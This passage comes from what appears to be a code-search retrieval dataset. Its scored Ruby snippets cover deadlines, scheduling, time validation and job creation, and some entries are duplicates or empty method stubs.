}, { "docid": "4d5047987e2868c84ec3a93c067dce69", "score": "0.5721762", "text": "def calculate_deadline(seconds, time) \n time = start_time(Time.parse(time))\n date = time_to_date(time)\n \n # Initialize tally of business time passed (in seconds) \n tally = closing_time(date) - time\n \n # Move forward in business time until we surpass the supplied\n # time interval (in seconds)\n while seconds > tally\n date = next_business_day(date)\n tally += closing_time(date) - opening_time(date) \n end\n \n closing_time(date) - (tally - seconds)\n end", "title": "" }, { "docid": "1d18ac0b7c9b5c8f7c34999329a9d01d", "score": "0.57038987", "text": "def start_time\n # merge the schedule weekday, hour and minute with today's year, month, weekday to form the next start_time\n t = Time.now\n s = Time.parse(time_input)\n log \"Time.parse --> #{time_as_string(s)}\\n\"\n\n answer = Time.new(t.year, t.mon, t.mday, s.hour, s.min, 0)\n log \"raw answer --> #{time_as_string(answer)}\\n\"\n\n # adjust weekday so the answer weekday aligns with time_input weekday\n answer += DAY_OF_WEEK_MAP[s.wday][answer.wday] * SECONDS_PER_DAY\n answer_as_string = answer.strftime(TIME_INPUT_STRFTIME)\n log \"sprinkle.start_time --> #{time_as_string(answer)}\\n\"\n\n answer \n end", "title": "" }, { "docid": "d7ec9d76cddc966e201c27ca4e659d51", "score": "0.5698808", "text": "def next_start_deadline\n #TODO: write me\n return Date.new(2008, 10, 1) \n end", "title": "" }, { "docid": "63d4b988fb62f57829b5410ca526edd3", "score": "0.5682042", "text": "def create\n @task = current_user.tasks.build(task_params) \n @task.task_list_id = params[:task_list_id] \n if @task.save \n @time = (@task.time - @task.created_at- 1.hour.seconds) \n #debugger\n UserMailer.delay_for(@time).time_false_email(current_user,@task)\n redirect_to task_list_tasks_path , notice: 'Task was successfully created.'\n else\n render 'new' \n end\n end", "title": "" }, { "docid": "40433dc9e5ead9759fd0d52256e32719", "score": "0.56813276", "text": "def create_date_time #Creation of time.\n\n\n start_time_match = true\n print \"\\n#{@spacer}Please specify a time format: \"\n print \"\\n#{@spacer}'12' for 12 hours or '24' for 24 hour time format?: \"\n hour_rep = STDIN.gets.chomp\n while (hour_rep.casecmp(\"12\") != 0) && (hour_rep.casecmp(\"24\") != 0)\n print \"#{@spacer}I'm sorry, please enter either 12 or 24: \"\n hour_rep = STDIN.gets.chomp\n end\n\n temp_array = create_time_array(hour_rep)\n\n if hour_rep == \"12\"\n #Creates Temporary array for slot validation.\n slot_choices = Array.new\n for i in 0...48\n num = i + 1\n slot_choices[i] = num.to_s\n end\n\n puts \"\\n#{@spacer}How many time slots would you like to take for this event? \\n\"\n print \"#{@spacer}(Events are scheduled in 30 minute blocks. These blocks can be non-contiguous): \"\n\n #Receive the amount of slots they want to take up then convert.\n slot_choice_s = @drive.validate_input(slot_choices)\n slot_choice_i = slot_choice_s.to_i\n\n slot_counter = 0\n array_increment = 0\n while slot_counter != slot_choice_i\n #Retreives the time from the user.\n print \"#{@spacer}Enter a time (i.e., 7:30 P.M.): \"\n time = STDIN.gets.chomp\n\n #Checks to see if the time is valid throughout the array.\n time_match = time_check(time, temp_array)\n while time_match\n print \"#{@spacer}Must enter a valid time: \"\n time = STDIN.gets.chomp\n time_match = time_check(time, temp_array)\n end\n\n time = time.split(':')\n\n @event_hour = convert_to_military_time(time)\n\n minute = time[1].slice(0..1)\n @event_minute = minute.to_i\n\n if @timeslots_array.length == 0\n else\n d = DateTime.new(@event_year, @event_month, @event_day, @event_hour, @event_minute)\n while @timeslots_array.include?(d)\n puts \"#{@spacer}Sorry, that time is already in the array, try again...\"\n print \"#{@spacer}Enter a time (i.e., 7:30 P.M.):\"\n time = STDIN.gets.chomp\n\n #Checks to see if the time is valid throughout the array.\n time_match = time_check(time, temp_array)\n while time_match\n print \"#{@spacer}Must enter a valid time: \"\n time = STDIN.gets.chomp\n time_match = time_check(time, temp_array)\n end\n\n time = time.split(':')\n\n @event_hour = convert_to_military_time(time)\n\n minute = time[1].slice(0..1)\n @event_minute = minute.to_i\n d = DateTime.new(@event_year, @event_month, @event_day, @event_hour, @event_minute)\n end\n end\n\n #Add the time in the temp_array to the temp_timeslot_array.\n @timeslots_array[array_increment] = DateTime.new(@event_year, @event_month, @event_day, @event_hour, @event_minute)\n\n array_increment += 1\n slot_counter += 1\n end\n\n elsif hour_rep == \"24\"\n #Creates Temporary array for slot validation.\n slot_choices = Array.new\n for i in 0...48\n num = i + 1\n slot_choices[i] = num.to_s\n end\n\n puts \"\\n#{@spacer}How many time slots would you like to take for this event? \\n\"\n print \"#{@spacer}(Events are scheduled in 30 minute blocks. These blocks can be non-contiguous):\"\n\n #Receive the amount of slots they want to take up then convert.\n slot_choice_s = @drive.validate_input(slot_choices)\n slot_choice_i = slot_choice_s.to_i\n\n slot_counter = 0\n array_increment = 0\n while slot_counter != slot_choice_i\n print \"#{@spacer}Enter a time (i.e., 07:30 or 19:30):\"\n time = STDIN.gets.chomp\n\n #Checks to see if the time is valid throughout the array.\n time_match = time_check(time, temp_array)\n while time_match\n print \"#{@spacer}Must enter a valid time: \"\n time = STDIN.gets.chomp\n time_match = time_check(time, temp_array)\n end\n\n time = time.split(':')\n\n @event_hour = time[0].to_i\n\n minute = time[1].slice(0..1)\n @event_minute = minute.to_i\n\n if @timeslots_array.length == 0\n else\n d = DateTime.new(@event_year, @event_month, @event_day, @event_hour, @event_minute)\n while @timeslots_array.include?(d)\n puts \"#{@spacer}Sorry, that time is already in the array, try again...\"\n print \"#{@spacer}Enter a time (i.e., 7:30 P.M.):\"\n time = STDIN.gets.chomp\n\n #Checks to see if the time is valid throughout the array.\n time_match = time_check(time, temp_array)\n while time_match\n print \"#{@spacer}Must enter a valid time: \"\n time = STDIN.gets.chomp\n time_match = time_check(time, temp_array)\n end\n\n time = time.split(':')\n\n @event_hour = time[0].to_i\n\n minute = time[1].slice(0..1)\n @event_minute = minute.to_i\n d = DateTime.new(@event_year, @event_month, @event_day, @event_hour, @event_minute)\n end\n end\n\n @timeslots_array[array_increment] = DateTime.new(@event_year, @event_month, @event_day, @event_hour, @event_minute)\n array_increment += 1\n slot_counter += 1\n end\n end\n end", "title": "" }, { "docid": "a17027da9e9960c8569655b1eb022bc0", "score": "0.5672409", "text": "def schedule(intended_time); end", "title": "" }, { "docid": "a17027da9e9960c8569655b1eb022bc0", "score": "0.5672409", "text": "def schedule(intended_time); end", "title": "" }, { "docid": "a17027da9e9960c8569655b1eb022bc0", "score": "0.5672409", "text": "def schedule(intended_time); end", "title": "" }, { "docid": "a17027da9e9960c8569655b1eb022bc0", "score": "0.5672409", "text": "def schedule(intended_time); end", "title": "" }, { "docid": "61348fec90734c8727fe188fa5f780d0", "score": "0.5649685", "text": "def calculate_user_age\n question1 = \"Please enter your name: \"\n question2 = \"Please enter your age (in years): \"\n\n name, age = get_user_input question1, question2, __callee__.to_s\n\n curr_time = Time.now\n birthday = Time.new(curr_time.year - age)\n age_in_seconds = (curr_time - birthday).to_i\n\n puts \"Hi #{name}. Did you know that you have already been alive for #{age_in_seconds} (roughly estimated) seconds?\"\nend", "title": "" }, { "docid": "29be624b0b2eab6e8c75986c180c7798", "score": "0.56381625", "text": "def inst_timing(num)\n passed_days = num*15\n real_due_date = starting_date + passed_days\n end", "title": "" }, { "docid": "a4afb4d15c6930db3735dc1b84eaf4c3", "score": "0.5635243", "text": "def schedule_time; end", "title": "" }, { "docid": "a4afb4d15c6930db3735dc1b84eaf4c3", "score": "0.5635243", "text": "def schedule_time; end", "title": "" }, { "docid": "f1e30d0a5ec5edb586dc8532e9f7796b", "score": "0.5602989", "text": "def task_params\n whitelisted = params.require(:task).permit(\n :title, :description, :deadline\n )\n # if deadline is supplied, convert it to a Time object\n # otherwise, leave it as nil\n if whitelisted[:deadline].present?\n whitelisted[:deadline] = Time.at whitelisted[:deadline].to_i\n else\n whitelisted[:deadline] = nil\n end\n helpers.append_user_id whitelisted\n end", "title": "" }, { "docid": "8cfda5a7dcfb2c85c1ed697b0bc9145e", "score": "0.5590446", "text": "def estimate_runtime(current_time:, start_time:, finish_time:)\n return nil if start_time.nil?\n\n (finish_time || current_time) - start_time\n end", "title": "" }, { "docid": "04f435601020ccc96c01ead17254484d", "score": "0.5586003", "text": "def deadline\n return nil unless iteration.present?\n Time.at(iteration.deadline.to_i + end_offset.to_i).to_datetime\n end", "title": "" }, { "docid": "881180f6cd7757433ef5212fb0fa8ad1", "score": "0.5584587", "text": "def calculate_next_time(person) \t\n end", "title": "" }, { "docid": "ccefecfd2291763cf9d610f17f96e4e8", "score": "0.55547833", "text": "def current_deadline_distance\n current_time = Time.zone.now.to_i\n\n if hard_deadline.nil?\n return nil\n end\n\n if hard_deadline.to_i < current_time\n return 1\n end\n\n if soft_deadline.to_i - current_time > 86400\n return 4\n end\n return (soft_deadline.to_i - current_time)/ 3600\n\n end", "title": "" }, { "docid": "17c37848de9f9ad3c5c7d4c4c78ba626", "score": "0.5551332", "text": "def calculate_worktime(list_info)\n time_a = Time.parse(list.end_time)\n time_b = Time.now\n\n (time_a - time_b)/60\n end", "title": "" }, { "docid": "5cafa6752a28d3723023a764a39e3eda", "score": "0.55500233", "text": "def time_upcoming\r\n i = true\r\n\tbegin\r\n\t\ttime.to_time\r\n\trescue\r\n\t\ti=false\r\n\tend\r\n\tif i\r\n\t\tif time < Time.now.utc\r\n\t\t errors.add(:time, 'must be a future time') \r\n\t\tend\r\n\tend\r\n end", "title": "" }, { "docid": "feaf8c7f3f038d8e7fcd501d6d08e8e3", "score": "0.55144906", "text": "def get_jobid_time( target_date )\n \t \tpresenttime = Time.now\n \t # Either use given date or present time\n \tif target_date <= presenttime\n \t\tpresenttime.strftime(\"%H%M%S\")\n \telse\n \t\t\"XX\" + SecureRandom.hex(2).upcase\n \tend\n \tend", "title": "" }, { "docid": "91ce60d5ae79b4380d3d2f2d7fa4c2b2", "score": "0.5513557", "text": "def time_left\n\t self.deadline - DateTime.now\n\tend", "title": "" }, { "docid": "89ccb198e77b62811331586c4e6d5039", "score": "0.5483304", "text": "def run_time(start_time, end_time)\n start_time_i = start_time.to_i\n end_time_i = end_time.to_i\n return Time.at(end_time_i - start_time_i).utc.strftime(\"%H:%M:%S\")\n end", "title": "" }, { "docid": "26efe3a960504833df8883732792fa21", "score": "0.5473091", "text": "def input_time\n print \"Please enter the time the call started in military time: \"\nend", "title": "" }, { "docid": "5d0458c0af3ad39753e601a87c534ef2", "score": "0.54699457", "text": "def create\n\n @job = Job.new(params[:job]) \n \n dt_time = params[:job][\"date_from(4i)\"] + \":\" + params[:job][\"date_from(5i)\"] + \" \" + (params[:job][\"date_from(6i)\"].to_i == 0 ? \"AM\" : \"PM\")\n dt = params[:parents][:scheduler] + \" \" + dt_time\n \n# puts \"#{dt_time}================dt_time==\"\n# puts \"#{dt}===============dt\"\n \n date_to = params[:job][\"date_to(4i)\"] + \":\" + params[:job][\"date_to(5i)\"] + \" \" + (params[:job][\"date_to(6i)\"].to_i == 0 ? \"AM\" : \"PM\") \n dt_to = params[:parents][:scheduler] + \" \" + date_to\n \n# puts \"#{date_to}=======date_to=======\"\n# puts \"#{dt_to}==========dt_to========\" \n# \n# puts \"#{dt}====dt==============#{dt_to}=======dt_to==\"\n# puts \"#{dt.to_datetime}====sss===#{Time.now.to_s(:long).to_datetime}==ss===#{Time.now}====ss=\"\n\n \n if dt.to_datetime < Time.now.to_s(:long).to_datetime\n flash[:error] = \"A job cannot occur in the past.\"\n# flash[:error] = \"#{dt.to_datetime}===dt.to_datetime===#{Time.now.to_s(:long).to_datetime}===Time.now.to_s(:long).to_datetime====#{Time.now}====time.now=\"\n redirect_to :back\n return \n end\n \n if params[:sitters].blank? || params[:sitters].nil?\n flash[:error] = \"Please select at least one sitter!\"\n redirect_to :back\n return\n end\n \n @job.date_from = dt.to_datetime\n @job.date_to = dt_to.to_datetime\n @request_sitter = []\n @request = @job.requests.build\n @parent = Parent.find(params[:parent_id])\n \n booked_sitters = []\n params[:sitters].each do |s|\n \n j = Job.find(:all, :conditions => [\"jobs.sitter_id = ? AND ((jobs.date_from between ? AND ?) OR (jobs.date_to between ? AND ?) OR (? between jobs.date_from AND jobs.date_to) OR (? between jobs.date_from AND jobs.date_to) OR (jobs.date_from = ?) OR (jobs.date_to = ?))\", s, @job.date_from, @job.date_to, @job.date_from, @job.date_to, @job.date_from, @job.date_to, @job.date_from, @job.date_to])\n unless j.blank?\n j.each do |r|\n temp_request = Request.find_by_job_id(r.id)\n unless temp_request.nil?\n temp2 = RequestSitter.find_by_sql(\"SELECT state AS status FROM request_sitters WHERE request_id = '#{temp_request.id}'\")[0]\n if temp2.status == 'accepted'\n booked_sitters << s\n end\n end\n end\n end\n end\n \n unless booked_sitters.blank?\n session[:booked_sitters] = booked_sitters\n flash[:error] = \"At least one of your sitters is booked during that time.\"\n redirect_to :back\n return\n end\n \n @job.parent = @parent\n if @job.save && @request.save\n params[:sitters].each do |s|\n @request_sitter << RequestSitter.create(:sitter => Sitter.find(s), :request => @request) \n Notifications.deliver_job_notice(Sitter.find(s), current_user, @job ,params[:message][:message]) if (Sitter.find(s).profile.email == true)\n Notifications.deliver_job_sms_notice(Sitter.find(s), current_user, @job ,params[:message][:message]) if (Sitter.find(s).profile.text_message == true)\n if (Sitter.find(s).underage?)\n if Sitter.find(s).consenting_parent.notify_parent_request \n Notifications.deliver_underaged_job_request(Sitter.find(s), current_user, @job, params[:message][:message]) \n end\n end\n end \n\n session['wall_booked'] = 'wall_job'\n flash[:notice] = 'Job was successfully created.'\n redirect_back_or_default(dashboard_parent_path(current_user))\n \n else\n render :action => \"new\" \n end\n \n rescue \n flash[:error]= \"Please select at least one sitter!\"\n redirect_to :back\n\n end", "title": "" }, { "docid": "e5cd64420da9f804d065190147116559", "score": "0.5467526", "text": "def get_time(user)\n print \"\\n❓ Over how many minutes do you want to look at #{user}'s friends' tweets? \"\n minutes = gets.to_i\n if minutes < 1 \n puts \"🚫 Please enter a positive integer.\"\n return false\n elsif minutes > 2880\n puts \"🚫 Please enter a time duration less than 48 hours (2880 minutes)\"\n return false\n end\n return DateTime.now-minutes/1440.0\nend", "title": "" }, { "docid": "1bfac87d15beffd1babc47f28425c390", "score": "0.5459736", "text": "def seconds_between(time1, time2)\n\nend", "title": "" }, { "docid": "2be69955a251a4648360828fb674a2a2", "score": "0.5459171", "text": "def expected_time_due_back\n staff? ? end_date : Time.parse(\"#{end_date.to_date.to_s} #{TIME_DUE_BACK}\")\n end", "title": "" }, { "docid": "6b3381571ea1dac2529d2d598e3ea0a1", "score": "0.5457868", "text": "def position() ask( \"get_time\" ).to_i*1000 end", "title": "" }, { "docid": "d5eb2890f622f230b198558d18015ed1", "score": "0.54334855", "text": "def get_timeout deadline\n return if deadline.nil?\n deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)\n end", "title": "" }, { "docid": "cffd4c1a5c941048fa2f7c78f684ceb2", "score": "0.542928", "text": "def deadline\n (match_time - 90.minutes)\n end", "title": "" }, { "docid": "1e4aabfc9c5b15bb4e3777d75b3ecd24", "score": "0.54280496", "text": "def calculate_time(end_time, start_time, action_type)\n action_time = end_time - start_time\n self.verify_performance_goal(action_time, action_type)\n return action_time\n end", "title": "" }, { "docid": "d80ba59ea8856986f0a475015fadba90", "score": "0.54261804", "text": "def lateness(time)\n time && (time.to_f - @deadline.to_i)\n end", "title": "" }, { "docid": "6b622ef8845c68fe2ee2c7d96712640e", "score": "0.5424553", "text": "def submit_homework\n @user = User.find(session[:user_id])\n @course = Course.find(params[:course_id])\n @homework = Homework.find(params[:homework_id])\n @time_left = time_diff_string(@homework.hw_due_time - Time.zone.now)\n end", "title": "" }, { "docid": "f886064b62a96ffb93a072b6523ff866", "score": "0.5420104", "text": "def processing_time\n if processing_completed_at.present? and processing_started_at.present?\n processing_completed_at - processing_started_at\n end\n end", "title": "" }, { "docid": "a8195626641a03ee476da30657e35cf3", "score": "0.5417105", "text": "def future_start\n unless start_time >= Date.today\n errors.add(:start_time, \"request start date must be in the future\")\n end\n end", "title": "" }, { "docid": "580158c9bd6c24553f150015a990a750", "score": "0.54073936", "text": "def timeline\n flag = true\n start = DateTime.now\n finish = start.next_day(1)\n \n while flag\n puts \"Is this starting today?\"\n response = gets.chomp\n\n if positive_response? response\n finish = set_date \"Finish\"\n else\n start = set_date \"Start\"\n finish = set_date \"Finish\"\n end\n\n flag = false\n end\n\n [start, finish]\nend", "title": "" }, { "docid": "473e5edc4aecaca4b57c50934a6f3e09", "score": "0.54007524", "text": "def get_time_required\n 20.0\n end", "title": "" }, { "docid": "2dd17533abbc0e91a28cf172cb30fc4b", "score": "0.5393574", "text": "def valid_dates\n temp = DateTime.now\n #now = temp.change(min: temp.min - 1)\n now = DateTime.new(temp.year, temp.month, temp.day, temp.hour, temp.min - 1, temp.sec)\n puts \"Now: #{now}\"\n puts \"Time Occurrence: #{time_occurrence}\"\n\n if !time_occurrence.nil?\n if time_occurrence < now\n self.errors.add :start_time, 'event cannot occur in the past!'\n #validates event doesn't occur more than 24 hours in the future\n #now.utc_offset\n elsif time_occurrence >= DateTime.now+1\n self.errors.add :start_time, 'event cannot occur more than 24 hours in the future'\n end\n else\n self.errors.add :date_not_selected, 'please select a date'\n end\n\n end", "title": "" }, { "docid": "7edfdb2b87427fec9837cdd6a422d497", "score": "0.538033", "text": "def checkTime(inputTime, folderPath, duration)\n require 'Date'\n \n #Get kill date\n killDate = Date.today + duration.to_i\n \n #Check the differnce of current time and input time and sleep for the difference - one time only START\n hourSleep = Time.now.hour.to_s\n minutesSleep = Time.now.min.to_s\n \n inputTimeForSleep = inputTime.split(':')\n diffHour = (inputTimeForSleep[0].to_i - hourSleep.to_i).abs\n diffMin = (inputTimeForSleep[1].to_i - minutesSleep.to_i).abs\n totalSeconds = diffHour*60*60 + diffMin*60 #seconds is not considered, so the wakeup won't be on the exact second\n sleep(totalSeconds)\n #Check the differnce of current time and input time and sleep for the difference - one time only END\n \n \n while(Date.today < killDate)\n hour = Time.now.hour.to_s\n minutes = Time.now.min.to_s\n \n #if the value of min or hr is 1 or 2..9,then append 0. So, it becomes 01, 02..09\n if(minutes.length == 1)\n minutes = \"0\" + minutes\n end\n if(hour.length == 1)\n hour = \"0\" + hour\n end\n \n #set current time format\n currentTime = hour + \":\" + minutes\n \n #Call the create zip method once a day\n if currentTime == inputTime\n createZip(folderPath)\n sleep(86390) #wakes up 10 seconds prior to the job\n end\n end\n end", "title": "" }, { "docid": "ec60f5225d17fdc2521b291ae915d32d", "score": "0.5379932", "text": "def lateness(time)\n time && (time - @deadline.to_i)\n end", "title": "" }, { "docid": "443afa81b6b662d7a52c6f145ea48c69", "score": "0.5376953", "text": "def free_at_date_time(date_time)\n\t\tif !@job.nil?\n\t\t\tif @job.running_date_time?(date_time)\n\t\t\t\treturn @job.finishes_at\n\t\t\telse\n\t\t\t\t@job = nil\n\t\t\t\treturn date_time\n\t\t\tend\n\t\telse\n\t\t\t# We return the bigger from the current time and the\n\t\t\t# creation time plus start time\n\t\t\treturn [date_time, @creation_time + VM_START_TIME].max\n\t\tend\n\tend", "title": "" }, { "docid": "3bbb0dd3b90520f140e265c02d9437e7", "score": "0.5376308", "text": "def deadline_date_time=(value)\n @deadline_date_time = value\n end", "title": "" }, { "docid": "a094af4845ee8709e116a05f1950af82", "score": "0.5365895", "text": "def time_must_be_pressent_and_in_future\n if self.date.present? && self.date < Time.now\n errors.add(:date, 'needs to be in the future')\n end\n end", "title": "" }, { "docid": "4fbe3cc72fdd93855948921e26e29a7c", "score": "0.5364296", "text": "def seconds_until_end_of_day; end", "title": "" }, { "docid": "4fbe3cc72fdd93855948921e26e29a7c", "score": "0.5364296", "text": "def seconds_until_end_of_day; end", "title": "" }, { "docid": "4fbe3cc72fdd93855948921e26e29a7c", "score": "0.5364296", "text": "def seconds_until_end_of_day; end", "title": "" }, { "docid": "4fbe3cc72fdd93855948921e26e29a7c", "score": "0.5364296", "text": "def seconds_until_end_of_day; end", "title": "" }, { "docid": "4fbe3cc72fdd93855948921e26e29a7c", "score": "0.5364296", "text": "def seconds_until_end_of_day; end", "title": "" }, { "docid": "642d18fc45c9b5275c2ce37d3fa60b7c", "score": "0.5361504", "text": "def deadline_at\n super.localtime unless super.blank?\n end", "title": "" }, { "docid": "0d0d97c6b96a279ce90608e00be4c6cb", "score": "0.53596616", "text": "def check_for_time\n self.submitted_date = DateTime.now if submitted and self.submitted_date.nil?\n self.approved_date = DateTime.now if approver and self.approved_date.nil?\n end", "title": "" }, { "docid": "97f744e71ebffa1d92649816816d5f5a", "score": "0.53587246", "text": "def travel_to(date_or_time); end", "title": "" }, { "docid": "00d1d0be8866a2b0a1fcaf07aa348026", "score": "0.53518057", "text": "def right_time\n scheduled_time = self.time_of_day.seconds_since_midnight\n now_time = Time.now.seconds_since_midnight\n seconds_past_scheduled = now_time - scheduled_time\n if seconds_past_scheduled > 0 && seconds_past_scheduled < location.department.department_config.task_leniency.minutes #needs doing if not done within an hour\n return true\n elsif self.kind == \"Hourly\" #not exactly valid interpretation, since hourly tasks shouldn't have a time_of_day; to prevent nil value errors\n return true\n else\n return false\n end\n end", "title": "" }, { "docid": "057884e533547ff85003f6963ef15ee4", "score": "0.5337217", "text": "def time_now\n now = Time.new\n Time.new(now.year, now.month, now.day, now.hour, now.min, now.sec)\nend", "title": "" }, { "docid": "3e7d311a5b9fa81fd7b51078c2038803", "score": "0.5332103", "text": "def start_time_after_now\n if start_time.present?\n if start_time <= Time.zone.now\n errors.add(:start_time, \"must be in the future\")\n end\n end\n end", "title": "" }, { "docid": "7f09cfca63b728aad64ecf0df1f2b5ba", "score": "0.5330645", "text": "def time_of_day(input_minutes)\n start_time_minutes = 0\n start_time_hours = 0\n hours = 0\n minutes = 0\n\n if input_minutes < 0\n hours, minutes = (-input_minutes).divmod(60)\n elsif input_minutes > 0\n hours, minutes = input_minutes.divmod(60)\n else\n hours = 0\n minutes = 0\n end\n\n if input_minutes > 0\n start_time_minutes += minutes\n start_time_hours += hours\n if start_time_hours >= 24\n start_time_hours %= 24\n end\n elsif input_minutes < 0\n start_time_minutes = 60 - minutes\n start_time_hours = 23 - hours\n if start_time_hours < 0\n start_time_hours %= 24\n end\n end\n\n digital_minutes = ''\n digital_hours = ''\n\n if start_time_minutes < 10\n digital_minutes = \"0#{start_time_minutes}\"\n else\n digital_minutes = \"#{start_time_minutes}\"\n end\n\n if start_time_hours < 10\n digital_hours = \"0#{start_time_hours}\"\n else\n digital_hours = \"#{start_time_hours}\"\n end\n\n digital_clock = digital_hours + \":\" + digital_minutes\nend", "title": "" }, { "docid": "1f2b6f40ed631cab5f3dff86a094a478", "score": "0.5318984", "text": "def assign_time_since_date\n\t\t#puts \"came to assing time since date.\"\n\t\tt = DateTime.now\n\t\tself.completed_weeks_since_date = TimeDifference.between(_date, t).in_weeks.to_i\n\t\tself.completed_months_since_date = TimeDifference.between(_date, t).in_months.to_i\n\t\tself.completed_years_since_date = TimeDifference.between(_date, t).in_years.to_i\n\t\tself.completed_days_since_date = TimeDifference.between(_date, t).in_days.to_i\n\t\tself.numerical_history_response = self.send(self.numerical_history_response_derived_from_attribute) unless self.numerical_history_response_derived_from_attribute.blank?\n\tend", "title": "" }, { "docid": "75a7f4e0890bbc5b83584460c1d29c67", "score": "0.53189266", "text": "def train_time\n\t\tif train && train.time && train.time < Time.now #checks for train, if nul , will not go further, if train exists will check for train.time\n\t\t\t# train has already left, add error msg to errors field\n\t\t\terrors.add(:time, \"train has already left\")\n\t\tend\n\tend", "title": "" }, { "docid": "fcaedd9c98cc266c199e841b26ad5e42", "score": "0.53165656", "text": "def timestamp\n t = prerequisite_tasks.collect { |pre| pre.timestamp }.max\n return t if t\n if remote\n create_remote_task\n Time.parse rget(\"timestamp\")\n else\n Time.now\n end\n end", "title": "" }, { "docid": "7af57d2f3875bd8b2b228954ebac5dfa", "score": "0.5305388", "text": "def scheduled_update(time_elapsed)\n end", "title": "" }, { "docid": "cb4fe7ba5d5e3681f876dcb798b0e19d", "score": "0.530199", "text": "def max_run_time\n check_for_active_task\n\n t = @task.Definition.Settings.ExecutionTimeLimit\n year = t.scan(/(\\d+?)Y/).flatten.first\n month = t.scan(/(\\d+?)M/).flatten.first\n day = t.scan(/(\\d+?)D/).flatten.first\n hour = t.scan(/(\\d+?)H/).flatten.first\n min = t.scan(/T.*(\\d+?)M/).flatten.first\n sec = t.scan(/(\\d+?)S/).flatten.first\n\n time = 0\n time += year.to_i * 365 if year\n time += month.to_i * 30 if month\n time += day.to_i if day\n time *= 24\n time += hour.to_i if hour\n time *= 60\n time += min.to_i if min\n time *= 60\n time += sec.to_i if sec\n time *= 1000\n\n time\n end", "title": "" }, { "docid": "cb4fe7ba5d5e3681f876dcb798b0e19d", "score": "0.530199", "text": "def max_run_time\n check_for_active_task\n\n t = @task.Definition.Settings.ExecutionTimeLimit\n year = t.scan(/(\\d+?)Y/).flatten.first\n month = t.scan(/(\\d+?)M/).flatten.first\n day = t.scan(/(\\d+?)D/).flatten.first\n hour = t.scan(/(\\d+?)H/).flatten.first\n min = t.scan(/T.*(\\d+?)M/).flatten.first\n sec = t.scan(/(\\d+?)S/).flatten.first\n\n time = 0\n time += year.to_i * 365 if year\n time += month.to_i * 30 if month\n time += day.to_i if day\n time *= 24\n time += hour.to_i if hour\n time *= 60\n time += min.to_i if min\n time *= 60\n time += sec.to_i if sec\n time *= 1000\n\n time\n end", "title": "" }, { "docid": "71e9626d62c80f9ee6810e76aff95020", "score": "0.5285082", "text": "def verify_duration(date, finish_date, title: nil)\n max_elapsed = Doing.setting('interaction.confirm_longer_than', 0)\n max_elapsed = max_elapsed.chronify_qty if max_elapsed.is_a?(String)\n date = date.chronify(guess: :end, context: :today) if date.is_a?(String)\n finish_date = finish_date.chronify(guess: :end, context: :today) if finish_date.is_a?(String)\n\n elapsed = finish_date - date\n\n if max_elapsed.positive? && (elapsed > max_elapsed)\n puts boldwhite(title) if title\n human = elapsed.time_string(format: :natural)\n res = Prompt.yn(yellow(\"Did this entry actually take #{human}\"), default_response: true)\n unless res\n new_elapsed = Prompt.enter_text('How long did it take?').chronify_qty\n raise InvalidTimeExpression, 'Unrecognized time span entry' unless new_elapsed.positive?\n\n finish_date = date + new_elapsed if new_elapsed\n end\n end\n\n finish_date\n end", "title": "" }, { "docid": "0264c99593aee4e4c7804578f2934523", "score": "0.52821", "text": "def get_time_required\n 60.0\n end", "title": "" }, { "docid": "7d8aaa477fcea08218f09b048b027c53", "score": "0.5282031", "text": "def create\n @task = Task.new(\n name: params[:task][:name],\n plan1: params[:task][:plan1],\n plan2: params[:task][:plan2],\n results1: params[:task][:results1],\n results2: params[:task][:results2],\n resultsTime: params[:task][:resultsTime]\n )\n if params[:task][:plan1].empty? || params[:task][:plan2].empty? then\n @task.planTime = params[:task][:planTime]\n else\n @task.planTime = time_calc(params[:task][:plan1],params[:task][:plan2])\n end\n #@task = Task.new(task_params)\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b54ffac3aa1c6fbc03bb8f61b57fe1a3", "score": "0.52719545", "text": "def time_of_day(time)\n #\n # your code goes here\n #\nend", "title": "" }, { "docid": "b67d5dd9200010fbbbc9f58851e09d94", "score": "0.5269887", "text": "def time_in_seconds(time_str)\n dt_tm_hash = time_details(time_str)\n curr_time = Time.now\n\n # Basic time variables\n future_year = curr_time.year + dt_tm_hash[:year].to_i\n future_month = curr_time.month + dt_tm_hash[:month].to_i\n future_day = curr_time.day + dt_tm_hash[:day].to_i\n future_hr = curr_time.hour + dt_tm_hash[:hour].to_i\n future_min = curr_time.min + dt_tm_hash[:min].to_i\n future_sec = curr_time.sec + dt_tm_hash[:sec].to_i\n\n # 'extra value' calculations for these time variables\n future_sec, future_min = extra_time(future_sec, future_min, 60)\n future_min, future_hr = extra_time(future_min, future_hr, 60)\n future_hr, future_day = extra_time(future_hr, future_day, 24)\n\n # explicit method to calculate overloaded days;\n # They may stretch upto years; heance leap year & months are into consideration\n future_day, future_month, future_year = extra_days(future_day, future_month, future_year, curr_time.month, curr_time.year)\n\n future_month, future_year = extra_months(future_month, future_year, curr_time.month, curr_time.year)\n\n future_time = Time.new(future_year, future_month, future_day, future_hr, future_min, future_sec)\n\n # Difference in time will return seconds\n future_time.to_i - curr_time.to_i\n end", "title": "" }, { "docid": "784c47d2b8fad43eaa90f9a092e58e69", "score": "0.52689105", "text": "def draw_time(*args)\n\t\ttime = args[0]\n\t\ttime = Time.now if time == nil\n\t\ttime = Time.at time if time.is_a? Fixnum\n\t\tif time.is_a? String\n\t\t\ttime = time.downcase\n\t\t\tif time == 'yesterday'\n\t\t\t\ttime = Time.now - 86400\n\t\t\telsif time == 'tomorrow'\n\t\t\t\ttime = Time.now + 86400\n\t\t\telsif time == 'now' or time == 'today'\n\t\t\t\ttime = Time.now\n\t\t\telse\n\t\t\t\ttime = Time.gm *time.split(\"-\")\n\t\t\tend\n\t\tend\n\t\tif time.is_a? Time\n\t\t\t# do nothing\n\t\telsif time == args[0]\n\t\t\tlogger.warn \"Unrecognized time arg #{args}. Returned Time.now\"\n\t\t\ttime = Time.now\n\t\tend\n\t\ttime\n\tend", "title": "" }, { "docid": "621fca0ec6449ecae23c08c60504c591", "score": "0.52601", "text": "def current_time\n RubyVPI::Scheduler.current_time\n end", "title": "" }, { "docid": "73b45eeeaecae27056f8a0e870e78a8e", "score": "0.5253535", "text": "def task_time\n @task_time ||\n due_at.in_time_zone(\"Pacific Time (US & Canada)\").strftime(\"%l:%M%p\").strip.downcase\n end", "title": "" }, { "docid": "d0e962679b19e5c581f5c51084b8badd", "score": "0.52459353", "text": "def 